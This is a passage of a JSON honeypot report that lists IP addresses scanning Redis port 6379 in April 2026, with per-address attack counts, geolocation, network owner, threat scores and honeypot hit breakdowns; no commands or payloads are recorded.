        "days_active_30d": 23,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-06T12:55:58.142000+00:00",
        "last_seen_30d": "2026-04-28T09:19:13.786000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 15,
        "Redishoneypot": 6,
        "Honeytrap": 3
      }
    },
    "61.69.149.213": {
      "attack_count": 23,
      "first_seen": "2026-04-13T08:16:31.000Z",
      "last_seen": "2026-04-13T13:56:49.214Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "Australia",
      "country_code": "AU",
      "city": "Canberra",
      "asn": 7545,
      "as_org": "TPG Telecom Limited",
      "threat_score": 20.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 16.3,
        "persistence": 1.7,
        "diversity": 20,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 43,
        "days_active_30d": 2,
        "ports_targeted_30d": 12,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-12T10:55:30.813000+00:00",
        "last_seen_30d": "2026-04-13T13:56:49.214000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Suricata": 38,
        "Redishoneypot": 5
      }
    },
    "157.230.209.253": {
      "attack_count": 21,
      "first_seen": "2026-04-08T14:23:04.000Z",
      "last_seen": "2026-04-08T14:24:16.689Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "North Bergen",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 53.8,
      "threat_level": "medium",
      "score_components": {
        "frequency": 30,
        "persistence": 10.0,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 1023,
        "days_active_30d": 12,
        "ports_targeted_30d": 22,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-04-08T09:56:40.943000+00:00",
        "last_seen_30d": "2026-04-19T14:10:27.730000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Suricata": 694,
        "Honeytrap": 298,
        "ElasticPot": 16,
        "Redishoneypot": 8,
        "Dionaea": 7
      }
    },
    "161.35.116.145": {
      "attack_count": 21,
      "first_seen": "2026-04-22T10:32:03.000Z",
      "last_seen": "2026-04-22T10:33:14.221Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "North Bergen",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 47.7,
      "threat_level": "medium",
      "score_components": {
        "frequency": 23.3,
        "persistence": 1.7,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 215,
        "days_active_30d": 2,
        "ports_targeted_30d": 10,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-04-21T07:49:49.124000+00:00",
        "last_seen_30d": "2026-04-22T19:58:40.420000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Suricata": 145,
        "Honeytrap": 60,
        "Redishoneypot": 8,
        "Dionaea": 2
      }
    },
    "113.105.90.148": {
      "attack_count": 20,
      "first_seen": "2026-04-08T23:28:24.000Z",
      "last_seen": "2026-04-20T21:19:58.499Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Guangzhou",
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 38.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 10.4,
        "persistence": 16.7,
        "diversity": 6,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 11,
        "days_active_30d": 20,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-08T23:28:25+00:00",
        "last_seen_30d": "2026-04-27T01:45:18.819000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Redishoneypot": 6,
        "Suricata": 5
      }
    },
    "115.190.189.213": {
      "attack_count": 20,
      "first_seen": "2026-04-01T03:26:40.000Z",
      "last_seen": "2026-04-01T04:34:57.752Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 137718,
      "as_org": "Beijing Volcano Engine Technology Co., Ltd.",
      "threat_score": 2.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 10.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 12,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-01T03:26:40.611000+00:00",
        "last_seen_30d": "2026-04-01T04:34:57.752000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Redishoneypot": 9,
        "Suricata": 3
      }
    },
    "118.196.87.226": {
      "attack_count": 20,
      "first_seen": "2026-04-19T21:18:18.000Z",
      "last_seen": "2026-04-29T07:44:55.852Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4811,
      "as_org": "China Telecom Group",
      "threat_score": 21.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 6.0,
        "persistence": 9.2,
        "diversity": 2,
        "spread": 5,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 11,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-04-19T21:19:24.448000+00:00",
        "last_seen_30d": "2026-04-29T07:44:55.852000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 4
      }
    },
    "139.59.245.108": {
      "attack_count": 20,
      "first_seen": "2026-04-09T08:41:15.000Z",
      "last_seen": "2026-04-09T08:42:25.861Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 24.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 30,
        "persistence": 7.5,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 151731,
        "days_active_30d": 9,
        "ports_targeted_30d": 65648,
        "honeypots_triggered_30d": 13,
        "first_seen_30d": "2026-04-01T18:44:11+00:00",
        "last_seen_30d": "2026-04-09T08:52:25.146000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Suricata": 130098,
        "Honeytrap": 21582,
        "Cowrie": 12,
        "ConPot": 10,
        "Dionaea": 10,
        "Miniprint": 8,
        "Redishoneypot": 3,
        "Adbhoney": 2,
        "ElasticPot": 1,
        "Ipphoney": 1,
        "Medpot": 1,
        "Tanner": 1
      }
    },
    "142.93.195.32": {
      "attack_count": 20,
      "first_seen": "2026-04-05T13:22:04.000Z",
      "last_seen": "2026-04-05T13:32:07.931Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "North Bergen",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 9.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 22.7,
        "persistence": 0.8,
        "diversity": 14,
        "spread": 20,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 185,
        "days_active_30d": 1,
        "ports_targeted_30d": 7,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-04-05T01:03:06.380000+00:00",
        "last_seen_30d": "2026-04-05T13:32:07.931000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Suricata": 134,
        "Honeytrap": 42,
        "Redishoneypot": 8,
        "Dionaea": 1
      }
    },
    "85.113.129.96": {
      "attack_count": 20,
      "first_seen": "2026-04-05T18:45:04.000Z",
      "last_seen": "2026-04-29T02:20:27.409Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": "Voronezh",
      "asn": 34550,
      "as_org": "LLC Intercon",
      "threat_score": 32.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 6.0,
        "persistence": 20.8,
        "diversity": 2,
        "spread": 5,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 25,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-04-05T18:46:06.102000+00:00",
        "last_seen_30d": "2026-04-29T02:20:27.409000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 4
      }
    },
    "106.75.241.127": {
      "attack_count": 19,
      "first_seen": "2026-04-02T20:57:09.000Z",
      "last_seen": "2026-04-11T23:53:37.477Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 17621,
      "as_org": "China Unicom Shanghai network",
      "threat_score": 11.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 8.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 10,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-02T20:57:10+00:00",
        "last_seen_30d": "2026-04-11T23:53:37.477000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Redishoneypot": 6,
        "Suricata": 2
      }
    },
    "68.183.109.254": {
      "attack_count": 19,
      "first_seen": "2026-04-25T05:36:05.000Z",
      "last_seen": "2026-04-25T05:37:22.513Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "North Bergen",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 17.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-25T05:36:06+00:00",
        "last_seen_30d": "2026-04-25T05:37:22.513000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Redishoneypot": 5,
        "Suricata": 2
      }
    },
    "183.56.243.176": {
      "attack_count": 18,
      "first_seen": "2026-04-03T04:41:23.000Z",
      "last_seen": "2026-04-14T19:35:51.764Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Guangzhou",
      "asn": 135089,
      "as_org": "China Telecom",
      "threat_score": 55.2,
      "threat_level": "medium",
      "score_components": {
        "frequency": 15.6,
        "persistence": 22.5,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 36,
        "days_active_30d": 27,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-03T04:41:23+00:00",
        "last_seen_30d": "2026-04-29T21:51:32.063000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 23,
        "Honeytrap": 7,
        "Redishoneypot": 6
      }
    },
    "147.182.213.84": {
      "attack_count": 17,
      "first_seen": "2026-04-29T13:12:22.000Z",
      "last_seen": "2026-04-29T14:09:52.520Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "North Bergen",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 73.3,
      "threat_level": "high",
      "score_components": {
        "frequency": 30,
        "persistence": 0.8,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 2027,
        "days_active_30d": 1,
        "ports_targeted_30d": 1900,
        "honeypots_triggered_30d": 15,
        "first_seen_30d": "2026-04-29T01:22:58.168000+00:00",
        "last_seen_30d": "2026-04-29T14:18:27.180000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 1969,
        "Cowrie": 22,
        "Miniprint": 8,
        "ConPot": 7,
        "Dionaea": 6,
        "Redishoneypot": 3,
        "Adbhoney": 2,
        "Ciscoasa": 2,
        "Dicompot": 2,
        "ElasticPot": 1,
        "H0neytr4p": 1,
        "Honeyaml": 1,
        "Ipphoney": 1,
        "Sentrypeer": 1,
        "Tanner": 1
      }
    },
    "172.202.117.171": {
      "attack_count": 16,
      "first_seen": "2026-04-05T19:05:41.000Z",
      "last_seen": "2026-04-05T19:07:36.036Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Des Moines",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 50.4,
      "threat_level": "medium",
      "score_components": {
        "frequency": 14.0,
        "persistence": 19.2,
        "diversity": 10,
        "spread": 15,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 25,
        "days_active_30d": 23,
        "ports_targeted_30d": 5,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-04T21:56:03.283000+00:00",
        "last_seen_30d": "2026-04-26T06:03:01.353000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Suricata": 16,
        "Honeytrap": 6,
        "Redishoneypot": 3
      }
    },
    "20.106.48.199": {
      "attack_count": 16,
      "first_seen": "2026-04-20T01:26:40.000Z",
      "last_seen": "2026-04-20T01:29:10.176Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Des Moines",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 35.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 12.8,
        "persistence": 15.8,
        "diversity": 10,
        "spread": 15,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 19,
        "days_active_30d": 19,
        "ports_targeted_30d": 5,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-02T14:30:51.775000+00:00",
        "last_seen_30d": "2026-04-20T01:29:10.176000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Suricata": 12,
        "Honeytrap": 4,
        "Redishoneypot": 3
      }
    },
    "20.150.192.134": {
      "attack_count": 16,
      "first_seen": "2026-04-08T23:43:05.000Z",
      "last_seen": "2026-04-08T23:45:10.391Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Phoenix",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 66.0,
      "threat_level": "high",
      "score_components": {
        "frequency": 12.8,
        "persistence": 24.2,
        "diversity": 14,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 19,
        "days_active_30d": 29,
        "ports_targeted_30d": 7,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-02T02:22:31.196000+00:00",
        "last_seen_30d": "2026-04-30T10:30:38.349000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 12,
        "Honeytrap": 4,
        "Redishoneypot": 3
      }
    },
    "118.121.27.103": {
      "attack_count": 15,
      "first_seen": "2026-04-09T00:46:23.000Z",
      "last_seen": "2026-04-27T16:16:08.667Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 24.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 4.8,
        "persistence": 15.8,
        "diversity": 2,
        "spread": 5,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 19,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-04-09T00:47:28.178000+00:00",
        "last_seen_30d": "2026-04-27T16:16:08.667000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Suricata": 3
      }
    },
    "135.237.126.160": {
      "attack_count": 15,
      "first_seen": "2026-04-03T05:42:18.000Z",
      "last_seen": "2026-04-03T05:44:12.576Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Washington",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 45.0,
      "threat_level": "medium",
      "score_components": {
        "frequency": 15.7,
        "persistence": 16.7,
        "diversity": 14,
        "spread": 15,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 37,
        "days_active_30d": 20,
        "ports_targeted_30d": 7,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-03T05:43:04+00:00",
        "last_seen_30d": "2026-04-22T03:50:30.485000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Suricata": 23,
        "Honeytrap": 11,
        "Redishoneypot": 3
      }
    },
    "20.168.124.121": {
      "attack_count": 15,
      "first_seen": "2026-04-10T16:35:46.000Z",
      "last_seen": "2026-04-10T16:39:15.620Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Phoenix",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 34.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 10.0,
        "persistence": 13.3,
        "diversity": 8,
        "spread": 15,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 10,
        "days_active_30d": 16,
        "ports_targeted_30d": 4,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-07T12:18:24+00:00",
        "last_seen_30d": "2026-04-22T08:59:40.167000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Suricata": 6,
        "Redishoneypot": 3,
        "Honeytrap": 1
      }
    },
    "20.169.107.169": {
      "attack_count": 15,
      "first_seen": "2026-04-19T00:16:48.000Z",
      "last_seen": "2026-04-19T00:18:45.504Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Phoenix",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 38.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 11.8,
        "persistence": 6.7,
        "diversity": 10,
        "spread": 20,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 15,
        "days_active_30d": 8,
        "ports_targeted_30d": 5,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-04-17T02:14:21+00:00",
        "last_seen_30d": "2026-04-24T18:00:14.703000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Suricata": 9,
        "Redishoneypot": 3,
        "Honeytrap": 2,
        "Mailoney": 1
      }
    },
    "185.242.226.23": {
      "attack_count": 14,
      "first_seen": "2026-04-02T10:19:38.000Z",
      "last_seen": "2026-04-02T10:21:10.202Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 202425,
      "as_org": "IP Volume inc",
      "threat_score": 2.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-02T10:19:49+00:00",
        "last_seen_30d": "2026-04-02T11:47:14.939000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Redishoneypot": 3,
        "Suricata": 3
      }
    },
    "91.230.168.138": {
      "attack_count": 14,
      "first_seen": "2026-04-12T22:21:07.000Z",
      "last_seen": "2026-04-12T22:22:17.863Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Hillsboro",
      "asn": 213412,
      "as_org": "ONYPHE SAS",
      "threat_score": 93.8,
      "threat_level": "critical",
      "score_components": {
        "frequency": 23.8,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 242,
        "days_active_30d": 30,
        "ports_targeted_30d": 71,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-04-01T01:05:33+00:00",
        "last_seen_30d": "2026-04-30T20:09:19.331000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 186,
        "Honeytrap": 43,
        "Miniprint": 8,
        "Redishoneypot": 3,
        "Dionaea": 1,
        "Mailoney": 1
      }
    },
    "195.184.76.247": {
      "attack_count": 13,
      "first_seen": "2026-04-03T20:03:53.000Z",
      "last_seen": "2026-04-03T20:05:14.900Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Warrenton",
      "asn": 213412,
      "as_org": "ONYPHE SAS",
      "threat_score": 85.8,
      "threat_level": "critical",
      "score_components": {
        "frequency": 20.8,
        "persistence": 25,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 121,
        "days_active_30d": 30,
        "ports_targeted_30d": 46,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-04-01T08:15:45+00:00",
        "last_seen_30d": "2026-04-30T11:29:24.873000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 73,
        "Honeytrap": 44,
        "Redishoneypot": 3,
        "Dicompot": 1
      }
    },
    "66.132.172.178": {
      "attack_count": 13,
      "first_seen": "2026-04-07T01:32:29.000Z",
      "last_seen": "2026-04-07T01:33:38.992Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 92.5,
      "threat_level": "critical",
      "score_components": {
        "frequency": 22.5,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 178,
        "days_active_30d": 30,
        "ports_targeted_30d": 35,
        "honeypots_triggered_30d": 7,
        "first_seen_30d": "2026-04-01T17:47:47.147000+00:00",
        "last_seen_30d": "2026-04-30T21:59:39.408000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 107,
        "Honeytrap": 43,
        "Cowrie": 14,
        "Redishoneypot": 6,
        "ElasticPot": 4,
        "Dionaea": 3,
        "Ipphoney": 1
      }
    },
    "66.132.186.188": {
      "attack_count": 13,
      "first_seen": "2026-04-29T04:32:41.000Z",
      "last_seen": "2026-04-29T04:33:45.285Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 86.9,
      "threat_level": "critical",
      "score_components": {
        "frequency": 20.8,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 119,
        "days_active_30d": 29,
        "ports_targeted_30d": 33,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-04-01T15:36:00.495000+00:00",
        "last_seen_30d": "2026-04-29T04:33:45.285000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 56,
        "Honeytrap": 40,
        "Miniprint": 13,
        "Redishoneypot": 6,
        "ElasticPot": 4
      }
    },
    "91.196.152.84": {
      "attack_count": 13,
      "first_seen": "2026-04-23T17:30:18.000Z",
      "last_seen": "2026-04-23T17:31:39.326Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Roubaix",
      "asn": 213412,
      "as_org": "ONYPHE SAS",
      "threat_score": 63.1,
      "threat_level": "high",
      "score_components": {
        "frequency": 14.9,
        "persistence": 20.8,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 31,
        "days_active_30d": 25,
        "ports_targeted_30d": 10,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-04-01T02:46:34+00:00",
        "last_seen_30d": "2026-04-25T10:28:21.764000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Suricata": 18,
        "Honeytrap": 8,
        "Redishoneypot": 3,
        "ConPot": 2
      }
    },
    "91.230.168.173": {
      "attack_count": 13,
      "first_seen": "2026-04-24T19:45:56.000Z",
      "last_seen": "2026-04-24T19:47:19.461Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Hillsboro",
      "asn": 213412,
      "as_org": "ONYPHE SAS",
      "threat_score": 82.9,
      "threat_level": "critical",
      "score_components": {
        "frequency": 21.6,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 144,
        "days_active_30d": 29,
        "ports_targeted_30d": 50,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-04-01T10:12:02+00:00",
        "last_seen_30d": "2026-04-29T00:57:15.534000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 89,
        "Honeytrap": 51,
        "Redishoneypot": 3,
        "ConPot": 1
      }
    },
    "199.45.154.128": {
      "attack_count": 12,
      "first_seen": "2026-04-04T00:25:38.000Z",
      "last_seen": "2026-04-04T00:26:44.900Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398722,
      "as_org": "Censys, Inc.",
      "threat_score": 63.1,
      "threat_level": "high",
      "score_components": {
        "frequency": 16.1,
        "persistence": 20.0,
        "diversity": 14,
        "spread": 20,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 41,
        "days_active_30d": 24,
        "ports_targeted_30d": 7,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-04-04T00:25:38+00:00",
        "last_seen_30d": "2026-04-27T08:10:42.337000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Suricata": 19,
        "Honeytrap": 10,
        "Dionaea": 6,
        "Redishoneypot": 6
      }
    },
    "66.132.186.186": {
      "attack_count": 12,
      "first_seen": "2026-04-30T14:40:00.000Z",
      "last_seen": "2026-04-30T14:41:10.140Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 91.0,
      "threat_level": "critical",
      "score_components": {
        "frequency": 21.9,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 154,
        "days_active_30d": 29,
        "ports_targeted_30d": 37,
        "honeypots_triggered_30d": 9,
        "first_seen_30d": "2026-04-02T14:36:08+00:00",
        "last_seen_30d": "2026-04-30T17:26:01.021000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 92,
        "Honeytrap": 34,
        "Ciscoasa": 6,
        "Cowrie": 6,
        "Redishoneypot": 6,
        "ElasticPot": 4,
        "H0neytr4p": 4,
        "ConPot": 1,
        "Dionaea": 1
      }
    },
    "118.31.1.163": {
      "attack_count": 10,
      "first_seen": "2026-04-22T21:43:05.000Z",
      "last_seen": "2026-04-27T09:29:21.150Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
